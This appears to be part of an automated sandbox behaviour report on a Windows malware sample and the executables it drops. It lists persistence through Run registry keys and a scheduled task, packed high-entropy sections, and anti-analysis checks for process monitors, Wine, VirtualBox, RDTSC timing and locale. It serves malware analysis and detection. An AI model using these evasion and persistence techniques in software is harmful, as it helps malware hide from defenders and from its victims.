Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.18.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: xwZfYpo16i.exe

Static file information: File size 1906688 > 1048576

Source: xwZfYpo16i.exe

Static PE information: Raw size of pdwvfcxw is bigger than: 0x100000 < 0x19fe00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Unpacked PE file: 0.2.xwZfYpo16i.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pdwvfcxw:EW;bgplyofn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pdwvfcxw:EW;bgplyofn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pdwvfcxw:EW;bgplyofn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pdwvfcxw:EW;bgplyofn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.b00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pdwvfcxw:EW;bgplyofn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pdwvfcxw:EW;bgplyofn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Unpacked PE file: 25.2.4db5303091.exe.2e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wdneehld:EW;hxgpzqkm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wdneehld:EW;hxgpzqkm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Unpacked PE file: 54.2.4db5303091.exe.2e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wdneehld:EW;hxgpzqkm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wdneehld:EW;hxgpzqkm:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

7_2_00E442DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 4db5303091.exe.6.dr	Static PE information: real checksum: 0x1d65ad should be: 0x1dbb25
Source: xwZfYpo16i.exe	Static PE information: real checksum: 0x1dbf04 should be: 0x1d242f
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1dbf04 should be: 0x1d242f
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d65ad should be: 0x1dbb25
Source: num[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: xwZfYpo16i.exe	Static PE information: section name:
Source: xwZfYpo16i.exe	Static PE information: section name: .idata
Source: xwZfYpo16i.exe	Static PE information: section name:
Source: xwZfYpo16i.exe	Static PE information: section name: pdwvfcxw
Source: xwZfYpo16i.exe	Static PE information: section name: bgplyofn
Source: xwZfYpo16i.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: pdwvfcxw
Source: skotes.exe.0.dr	Static PE information: section name: bgplyofn
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: wdneehld
Source: random[1].exe0.6.dr	Static PE information: section name: hxgpzqkm
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 4db5303091.exe.6.dr	Static PE information: section name:
Source: 4db5303091.exe.6.dr	Static PE information: section name: .rsrc
Source: 4db5303091.exe.6.dr	Static PE information: section name: .idata
Source: 4db5303091.exe.6.dr	Static PE information: section name:
Source: 4db5303091.exe.6.dr	Static PE information: section name: wdneehld
Source: 4db5303091.exe.6.dr	Static PE information: section name: hxgpzqkm
Source: 4db5303091.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E60A76 push ecx; ret		7_2_00E60A89
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 22_2_0065B035 push ecx; ret		22_2_0065B048

Source: xwZfYpo16i.exe	Static PE information: section name: entropy: 7.984491031555736
Source: xwZfYpo16i.exe	Static PE information: section name: pdwvfcxw entropy: 7.954151445076012
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.984491031555736
Source: skotes.exe.0.dr	Static PE information: section name: pdwvfcxw entropy: 7.954151445076012
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.971591809735686
Source: random[1].exe0.6.dr	Static PE information: section name: wdneehld entropy: 7.953411071774829
Source: 4db5303091.exe.6.dr	Static PE information: section name: entropy: 7.971591809735686
Source: 4db5303091.exe.6.dr	Static PE information: section name: wdneehld entropy: 7.953411071774829

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cb428cafc9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4db5303091.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cb428cafc9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cb428cafc9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4db5303091.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4db5303091.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E5F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		7_2_00E5F98E
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00ED1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		7_2_00ED1C41

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: 22_2_00659860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

22_2_00659860

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_7-93998

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40D3EE second address: 40D3F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40D3F2 second address: 40D3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40D3FD second address: 40D418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F65166h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40D8AE second address: 40D8BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F6BF4B2C35Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40DBC5 second address: 40DBE9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F6BF4F65168h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40DBE9 second address: 40DBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40DBED second address: 40DBFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40DD68 second address: 40DD95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C363h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6BF4B2C35Ah 0x00000010 jl 00007F6BF4B2C37Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40DD95 second address: 40DD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 40DD9B second address: 40DD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410AC7 second address: 410ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410ACB second address: 410AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F6BF4B2C35Bh 0x0000000c nop 0x0000000d cmc 0x0000000e push 00000000h 0x00000010 mov dl, 81h 0x00000012 push 7F5B144Bh 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jl 00007F6BF4B2C356h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 jnl 00007F6BF4B2C356h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 410AFB second address: 410B4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 7F5B14CBh 0x0000000e mov edx, dword ptr [ebp+122D1BB0h] 0x00000014 push 00000003h 0x00000016 call 00007F6BF4F65165h 0x0000001b mov dword ptr [ebp+122D34FBh], esi 0x00000021 pop edi 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D27B8h], ecx 0x0000002a push ecx 0x0000002b mov dword ptr [ebp+122D1B35h], eax 0x00000031 pop esi 0x00000032 push 00000003h 0x00000034 mov dx, bx 0x00000037 push 5A486015h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 push esi 0x00000042 pop esi 0x00000043 popad 0x00000044 rdtsc
